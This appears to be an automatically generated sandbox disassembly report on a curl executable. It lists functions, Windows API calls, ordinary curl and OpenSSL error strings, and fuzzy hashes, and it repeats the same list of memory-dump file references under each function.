[%lu/%lu]: %s --> %s, xrefs: 001C944B
://, xrefs: 001C9489
https://, xrefs: 001C93DE
<stdout>, xrefs: 001C9436, 001C9442
%s%c%s, xrefs: 001C94D6
http://, xrefs: 001C93C7
Uh, xrefs: 001C9086
?, xrefs: 001C9497
out of memory, xrefs: 001C8D0D
%s%s, xrefs: 001C946B
-N, xrefs: 001C93CE
Using --anyauth or --proxy-anyauth with upload from stdin involves a big risk of it not working. Use a temporary file or a fixed auth type instead!, xrefs: 001C933C
If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like, xrefs: 001CB2D1
%s%s, xrefs: 001CB2DB
curl: (%d) %s, xrefs: 001CB2B8
fcntl failed on fd=%d: %s, xrefs: 001C939D
--_curl_--, xrefs: 001C9466
(%d) Failed writing body, xrefs: 001C907E
More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f, xrefs: 001CB2D6

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ioctlsocket
String ID: [%lu/%lu]: %s --> %s$%s%c%s$%s%s$%s%s$(%d) Failed writing body$--_curl_--$://$<stdout>$?$If this HTTPS server uses a certificate signed by a CA represented in the bundle, the certificate verification probably failed due to a problem with the certificate (it might be expired, or the name might not match the domain name in the URL).If you'd like$More details here: http://curl.haxx.se/docs/sslcerts.htmlcurl performs SSL certificate verification by default, using a "bundle" of Certificate Authority (CA) public keys (CA certs). If the default bundle file isn't adequate, you can specify an alternate f$Using --anyauth or --proxy-anyauth with upload from stdin involves a big risk of it not working. Use a temporary file or a fixed auth type instead!$curl: (%d) %s$fcntl failed on fd=%d: %s$http://$https://$out of memory$-N$Uh
API String ID: 3577187118-4169914100
Opcode ID: 8f34be4879c022461088617ef7e2460c507d866c0f4ccb90384bb7719697d4a9
Instruction ID: 59da64da0441704befe5ef03d8ce788633a4c0c84daf63a1c104091ab9c7f147
Opcode Fuzzy Hash: 8f34be4879c022461088617ef7e2460c507d866c0f4ccb90384bb7719697d4a9
Instruction Fuzzy Hash: 64C1D6B0A083419BEB249F648886F6F77E5AFB5344F14492CF889C6292EB71DD44CB53

Function 00241FF0 Relevance: 18.2, APIs: 7, Strings: 5, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,00000000,00000000,?,?), ref: 00242033
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?), ref: 0024203F
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000,00000000,00000000,?,?), ref: 00242062
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?,?), ref: 0024206E
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000,00000000,00000000,?,?), ref: 0024209C
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00365F2C,00365F2E,?,00000008,?,?,?,00000000,?,?,00000000,00000000,00000000,?), ref: 002420CB
GetLastError.KERNEL32(..\..\openssl\openssl\crypto\bio\bss_file.c,000000A9,?,?,?,00000000,?,?,00000000,00000000,00000000,?,?), ref: 00242159

Strings

',', xrefs: 00242176
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 002421B3
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 00242154
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 002421A2
fopen(', xrefs: 0024217C

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-946823011
Opcode ID: e72ea9a3aa175649dd282ce48f4f52ec916630be6826bc0c19e6cdf0caf9e572
Instruction ID: 99125eb90eb5ae9c14565d7e4170ffde27dda065d97f49296e6f4de2e97106d2
Opcode Fuzzy Hash: e72ea9a3aa175649dd282ce48f4f52ec916630be6826bc0c19e6cdf0caf9e572
Instruction Fuzzy Hash: 27513C31E50206EBDB356F51DC42FFF77A9EF54700F050125FD09AB181DA615D29CAA1

Function 001DD7C0 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 151
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getpeername.WS2_32(?,?,?), ref: 001DD80D
WSAGetLastError.WS2_32 ref: 001DD817

Part of subcall function 001D23B0: GetLastError.KERNEL32(?,00000000,?,001DD974), ref: 001D23B7
Part of subcall function 001D23B0: GetLastError.KERNEL32(?,?,?,?,001DD974), ref: 001D246B
Part of subcall function 001D23B0: SetLastError.KERNEL32(00000000,?,?,?,?,001DD974), ref: 001D2476

getsockname.WS2_32(?,?,?), ref: 001DD877
WSAGetLastError.WS2_32 ref: 001DD881

Strings

ssloc inet_ntop() failed with errno %d: %s, xrefs: 001DD976
getpeername() failed with errno %d: %s, xrefs: 001DD82A
getsockname() failed with errno %d: %s, xrefs: 001DD894
ssrem inet_ntop() failed with errno %d: %s, xrefs: 001DD8EF

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast$getpeernamegetsockname
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 1444953621-670633250
Opcode ID: 5736d1ca1082f465f1fdd3187b2c91e9cdac76f45acf6e1e84c4a8fa539ed0e7
Instruction ID: f87349124e5e02e43cfc9571bf275542359281196f6da7e91fec307f2f35fbd6
Opcode Fuzzy Hash: 5736d1ca1082f465f1fdd3187b2c91e9cdac76f45acf6e1e84c4a8fa539ed0e7
Instruction Fuzzy Hash: F441E972A006016BD724AB34EC42BEFB398FF98310F40451BF99993342EF75A955C792

Function 001CD790 Relevance: 16.2, APIs: 1, Strings: 8, Instructions: 414
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000200), ref: 001CD846

Strings

%s%s, xrefs: 001CD895
<stdin>, xrefs: 001CDBA7
%s:%d: warning: '%s' uses unquoted white space in the line that may cause side-effects!, xrefs: 001CDAE1
_curlrc, xrefs: 001CD7C8, 001CD8EE
%s%s%s, xrefs: 001CD805
%s:%d: warning: '%s' %s, xrefs: 001CDBDA
_curlrc, xrefs: 001CD88B
_curlrc, xrefs: 001CD7FA

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: FileModuleName
String ID: %s%s$%s%s%s$%s:%d: warning: '%s' %s$%s:%d: warning: '%s' uses unquoted white space in the line that may cause side-effects!$<stdin>$_curlrc$_curlrc$_curlrc
API String ID: 514040917-760928855
Opcode ID: bd12797431fd43b47e74182dbd0d286c2c0bf96c5bdceec1b66bbb23fd141255
Instruction ID: 0fa89dc359942922f6ad24e73365cb9b5313626c3fac6e236f98364bbacf4d7c
Opcode Fuzzy Hash: bd12797431fd43b47e74182dbd0d286c2c0bf96c5bdceec1b66bbb23fd141255
Instruction Fuzzy Hash: BFD156759083415BDB25AF24A881FBB7BD19FB6344F19047CE8CA47242EB36DC46CB92

Function 001DDFB0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 232
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

htons.WS2_32(?), ref: 001DE051
ioctlsocket.WS2_32(?,8004667E,?), ref: 001DE15B
GetTickCount64.KERNEL32 ref: 001DE161
connect.WS2_32(?,?,?), ref: 001DE1CD
WSAGetLastError.WS2_32 ref: 001DE1DC

Part of subcall function 001D6710: GetTickCount64.KERNEL32 ref: 001D671B

GetLastError.KERNEL32 ref: 001DE27A

Strings

Immediate connect fail for %s: %s, xrefs: 001DE226
Trying %s..., xrefs: 001DE05F
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 001DE291

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64ErrorLastTick$connecthtonsioctlsocket
String ID: Trying %s...$Immediate connect fail for %s: %s$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 3234962113-3338264681
Opcode ID: fa24db7be5f98482a95f538109e36de63dc2017b0a0bd273c5ed7b94e3623ac5
Instruction ID: 743791760aec2ca9bb386b7d9c1e0fe176a2fee7f350f0db7a20b7eaccd38dbc
Opcode Fuzzy Hash: fa24db7be5f98482a95f538109e36de63dc2017b0a0bd273c5ed7b94e3623ac5
Instruction Fuzzy Hash: 3181CD707083419BD724AB28C885B6FB7D9AB94305F040A2EF8999B392DB74DD45CB92

Function 002C8594 Relevance: 15.7, APIs: 10, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8c28446140be61784ed4364e249642bd1aa8307372c63b8045e5e274ddf4a7b
Instruction ID: 87084f18f4504312d196768ca088aacb4c7c72898891b0bf272c7805160e76d4
Opcode Fuzzy Hash: d8c28446140be61784ed4364e249642bd1aa8307372c63b8045e5e274ddf4a7b
Instruction Fuzzy Hash: CB324A30E342429FDB218F58D880FBDBBB0AF15314F25C25ED895AB292DB709D61CB61

Function 002CF4C1 Relevance: 12.9, APIs: 6, Strings: 1, Instructions: 615COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,001C5539,00000000,00000109), ref: 002CF778
GetFileType.KERNELBASE(00000000,?,?,?,?,001C5539,00000000,00000109), ref: 002CF792
GetLastError.KERNEL32(?,?,?,?,001C5539,00000000,00000109), ref: 002CF7B5
CloseHandle.KERNEL32(00000000,?,?,?,?,001C5539,00000000,00000109), ref: 002CF7C7
CloseHandle.KERNEL32(00000000,?,?,?,?,001C5539,00000000,00000109), ref: 002CFB8D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,001C5539,00000000,00000109), ref: 002CFBB9

Part of subcall function 002CC0BD: CloseHandle.KERNELBASE(00000000,001C5539,00000000,?,002CF88C,001C5539,?,?,?,?,?,?,?,001C5539,00000000,00000109), ref: 002CC10D
Part of subcall function 002CC0BD: GetLastError.KERNEL32(?,002CF88C,001C5539,?,?,?,?,?,?,?,001C5539,00000000,00000109), ref: 002CC117

Strings

@, xrefs: 002CF7E3

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast$CloseHandle$FileType
String ID: @
API String ID: 604914513-2766056989
Opcode ID: 7aab81b4f113e66871cc8cc1e9eee5a5654786710052b064e053427b3dafd9e8
Instruction ID: 5dc62943cebc0426eafd9d55eb49265976e9409bc2febbc6f0e6aa801d3a0da7
Opcode Fuzzy Hash: 7aab81b4f113e66871cc8cc1e9eee5a5654786710052b064e053427b3dafd9e8
Instruction Fuzzy Hash: 702222719305069BEF698F68CA91FEDBB62EB04324F24433DE521A72E1D7758D60CB81

Function 001E8CB0 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 274
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount64.KERNEL32 ref: 001E8DAE

Strings

Operation timed out after %ld milliseconds with %lld out of %lld bytes received, xrefs: 001E8ED9
transfer closed with %lld bytes remaining to read, xrefs: 001E8F65
Done waiting for 100-continue, xrefs: 001E8E47
Operation timed out after %ld milliseconds with %lld bytes received, xrefs: 001E8F15
select/poll returned error, xrefs: 001E8D29
transfer closed with outstanding read data remaining, xrefs: 001E8F98

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick
String ID: Done waiting for 100-continue$Operation timed out after %ld milliseconds with %lld bytes received$Operation timed out after %ld milliseconds with %lld out of %lld bytes received$select/poll returned error$transfer closed with %lld bytes remaining to read$transfer closed with outstanding read data remaining
API String ID: 1927824332-2257306976
Opcode ID: 3b1a8282d297614beec928b15c1ead8f3ceed4832a1dbed1479cad6caeabd994
Instruction ID: e8186fd6cd07c2a057839af6205d8e2ec070f2d73904eaba6521bc56cc5f1e1e
Opcode Fuzzy Hash: 3b1a8282d297614beec928b15c1ead8f3ceed4832a1dbed1479cad6caeabd994
Instruction Fuzzy Hash: 17915971700A41ABDB1C9F29DC41BAEB796FF94314F080239EC1D87292EB35E955CBA0

Function 002C42B6 Relevance: 10.6, APIs: 7, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002C8F5F: EnterCriticalSection.KERNEL32(00000000,?,002C5D8A,0000000D), ref: 002C8F8A

DecodePointer.KERNEL32(00307C20,0000001C,002C420F,00000000,00000001,00000000,?,002C415D,000000FF,?,002C8F82,00000011,00000000,?,002C5D8A,0000000D), ref: 002C4303
DecodePointer.KERNEL32(?,002C415D,000000FF,?,002C8F82,00000011,00000000,?,002C5D8A,0000000D), ref: 002C4314
EncodePointer.KERNEL32(00000000,?,002C415D,000000FF,?,002C8F82,00000011,00000000,?,002C5D8A,0000000D), ref: 002C432D
DecodePointer.KERNEL32(-00000004,?,002C415D,000000FF,?,002C8F82,00000011,00000000,?,002C5D8A,0000000D), ref: 002C433D
EncodePointer.KERNEL32(00000000,?,002C415D,000000FF,?,002C8F82,00000011,00000000,?,002C5D8A,0000000D), ref: 002C4343
DecodePointer.KERNEL32(?,002C415D,000000FF,?,002C8F82,00000011,00000000,?,002C5D8A,0000000D), ref: 002C4359
DecodePointer.KERNEL32(?,002C415D,000000FF,?,002C8F82,00000011,00000000,?,002C5D8A,0000000D), ref: 002C4364

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Pointer$Decode$Encode$CriticalEnterSection
String ID:
